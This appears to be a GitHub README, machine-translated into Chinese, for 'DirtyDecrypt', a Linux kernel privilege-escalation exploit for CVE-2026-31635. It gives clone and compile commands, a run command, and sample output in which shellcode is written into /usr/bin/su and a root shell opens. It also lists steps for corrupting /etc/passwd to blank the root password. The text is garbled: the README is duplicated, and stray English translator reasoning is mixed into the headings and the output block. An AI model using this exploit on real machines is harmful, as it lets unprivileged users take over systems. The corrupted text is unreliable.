0xBlackash/CVE-2026-31635
GitHub: 0xBlackash/CVE-2026-31635
这是一个利用CVE-2026-31635漏洞实现Linux内核本地权限提升的exploit工具。
Stars: 3 | Forks: 1
# 31635 – DirtyDecrypt", but that's not a translation. Let's see the prompt: "Translate each of the following headings to Simplified Chinese."
**通过RXGK页缓存损坏实现的Linux内核本地权限提升**



## 📖 **概述**
**DirtyDecrypt** (CVE-2026-31635) 是Linux内核 `rxrpc` 子系统(具体是 `rxgk` 组件)中的一个**本地权限提升**漏洞。
它利用了在AES-CBC解密过程中**缺失的写时复制**检查,使得非特权用户能够破坏页缓存并实现**任意文件写入**,从而获取**root**权限。
## 🛠️ **受影响的系统**
- **易受攻击的内核版本**:6.10 ~ 6.13(启用了 `CONFIG_RXGK=y`)
- **常见发行版**:Fedora, Arch Linux, openSUSE Tumbleweed, 自定义内核
- **不受影响**:早于6.10左右的内核,或禁用了 `CONFIG_RXGK` 的内核(`CONFIG_RXGK=n`)
## 📋 **要求**
- 启用了 `CONFIG_RXGK` 的Linux内核
- 非特权本地用户访问
- `AF_RXRPC` 套接字支持
- `keyctl` 工具(用于rxrpc密钥)
## 🚀 **编译**
```
git clone https://github.com/0xBlackash/DirtyDecrypt.git
cd DirtyDecrypt
gcc -O2 -static -pthread CVE-2026-31635.c -o DirtyDecrypt
```
## 💥 **使用**
```
sudo ./DirtyDecrypt
```
**预期成功输出:**
```
=== rxgk pagecache write (DirtyDecrypt) ===
uid=1000 euid=1000
[*] writing shellcode to /usr/bin/su (96 bytes from offset 0)
[========================================] 100% (XXX/96, YYYY fires)
[*] XXX fires in Z.Zs
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_12345 /usr/bin/su
# - Perhaps for this line, it's "CVE-2026-31635 – DirtyDecrypt", and I need to output the same but in Chinese context. But that doesn't make sense.
root
# - I recall that in technical translations, CVEs and tool names are often kept in English, and the surrounding text is translated. Here, the heading is just the CVE and tool name with a dash. Maybe it's meant to be "CVE-2026-31635 – DirtyDecrypt", and I should keep it as is, but the instruction is to translate.
uid=0(root) gid=0(root) groups=0(root)
# - Let's check the emoji: 🩸 might be part of the heading. In the output, I should keep the formatting? The user said "output exactly 4 line(s) of translation", so I need to provide the translated text.
## 📁 **仓库结构**
```
DirtyDecrypt/
├── CVE-2026-31635.c # Main exploit
├── README.md # This file
├── Makefile # Optional
└── exploit.log # Optional output log
```
## 🔬 **工作原理(技术细节)**
1. 进入用户和网络命名空间
2. 向密钥环添加RXGK密钥
3. 使用 `AF_RXRPC` 套接字和 `splice()` 强制将页缓存页面送入RXGK解密路径
4. 在未调用 `skb_cow_data()` 的情况下触发原地AES-CBC解密
5. 使用滑动窗口技术逐字节破坏目标文件(`/etc/passwd`)
6. 清空root密码 → 生成root shell
## ⚠️ **免责声明**
**本代码仅用于授权的安全研究和教育目的。任何因滥用此代码造成的直接或间接损害,作者概不负责。使用者需自行承担全部风险和责任。**
## 📜 **致谢与作者**
- **利用代码作者**: Ashraf Zaryouh "0xBlackash"
- **原始发现**: 安全研究人员 (2026)
- **PoC版本**: v2.1 (2026年5月)
**通过RXGK页缓存损坏实现的Linux内核本地权限提升**



## 📖 **概述**
**DirtyDecrypt** (CVE-2026-31635) 是Linux内核 `rxrpc` 子系统(具体是 `rxgk` 组件)中的一个**本地权限提升**漏洞。
它利用了在AES-CBC解密过程中**缺失的写时复制**检查,使得非特权用户能够破坏页缓存并实现**任意文件写入**,从而获取**root**权限。
## 🛠️ **受影响的系统**
- **易受攻击的内核版本**:6.10 ~ 6.13(启用了 `CONFIG_RXGK=y`)
- **常见发行版**:Fedora, Arch Linux, openSUSE Tumbleweed, 自定义内核
- **不受影响**:早于6.10左右的内核,或禁用了 `CONFIG_RXGK` 的内核(`CONFIG_RXGK=n`)
## 📋 **要求**
- 启用了 `CONFIG_RXGK` 的Linux内核
- 非特权本地用户访问
- `AF_RXRPC` 套接字支持
- `keyctl` 工具(用于rxrpc密钥)
## 🚀 **编译**
```
git clone https://github.com/0xBlackash/DirtyDecrypt.git
cd DirtyDecrypt
gcc -O2 -static -pthread CVE-2026-31635.c -o DirtyDecrypt
```
## 💥 **使用**
```
sudo ./DirtyDecrypt
```
**预期成功输出:**
```
=== rxgk pagecache write (DirtyDecrypt) ===
uid=1000 euid=1000
[*] writing shellcode to /usr/bin/su (96 bytes from offset 0)
[========================================] 100% (XXX/96, YYYY fires)
[*] XXX fires in Z.Zs
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_12345 /usr/bin/su
# - Perhaps for this line, it's "CVE-2026-31635 – DirtyDecrypt", and I need to output the same but in Chinese context. But that doesn't make sense.
root
# - I recall that in technical translations, CVEs and tool names are often kept in English, and the surrounding text is translated. Here, the heading is just the CVE and tool name with a dash. Maybe it's meant to be "CVE-2026-31635 – DirtyDecrypt", and I should keep it as is, but the instruction is to translate.
uid=0(root) gid=0(root) groups=0(root)
# - Let's check the emoji: 🩸 might be part of the heading. In the output, I should keep the formatting? The user said "output exactly 4 line(s) of translation", so I need to provide the translated text.
## 📁 **仓库结构**
```
DirtyDecrypt/
├── CVE-2026-31635.c # Main exploit
├── README.md # This file
├── Makefile # Optional
└── exploit.log # Optional output log
```
## 🔬 **工作原理(技术细节)**
1. 进入用户和网络命名空间
2. 向密钥环添加RXGK密钥
3. 使用 `AF_RXRPC` 套接字和 `splice()` 强制将页缓存页面送入RXGK解密路径
4. 在未调用 `skb_cow_data()` 的情况下触发原地AES-CBC解密
5. 使用滑动窗口技术逐字节破坏目标文件(`/etc/passwd`)
6. 清空root密码 → 生成root shell
## ⚠️ **免责声明**
**本代码仅用于授权的安全研究和教育目的。任何因滥用此代码造成的直接或间接损害,作者概不负责。使用者需自行承担全部风险和责任。**
## 📜 **致谢与作者**
- **利用代码作者**: Ashraf Zaryouh "0xBlackash"
- **原始发现**: 安全研究人员 (2026)
- **PoC版本**: v2.1 (2026年5月)
**⭐ 如果这个仓库对你有帮助,请点个星!**
**为研究社区用 ❤️ 制作**
标签:0day挖掘, AES加密, AF_RXRPC, CVE-2026-31635, DirtyDecrypt, exploit开发, keyctl, Linux内核, Linux提权, meg, root权限, RXGK组件, Web报告查看器, 任意文件写入, 信息安全, 内核安全, 内核漏洞, 内核漏洞利用, 写时复制, 加密漏洞, 协议分析, 子域名枚举, 安全渗透, 安全漏洞, 客户端加密, 情报收集, 提权漏洞, 本地提权, 权限提升, 漏洞研究, 系统安全, 网络安全, 隐私保护, 页面缓存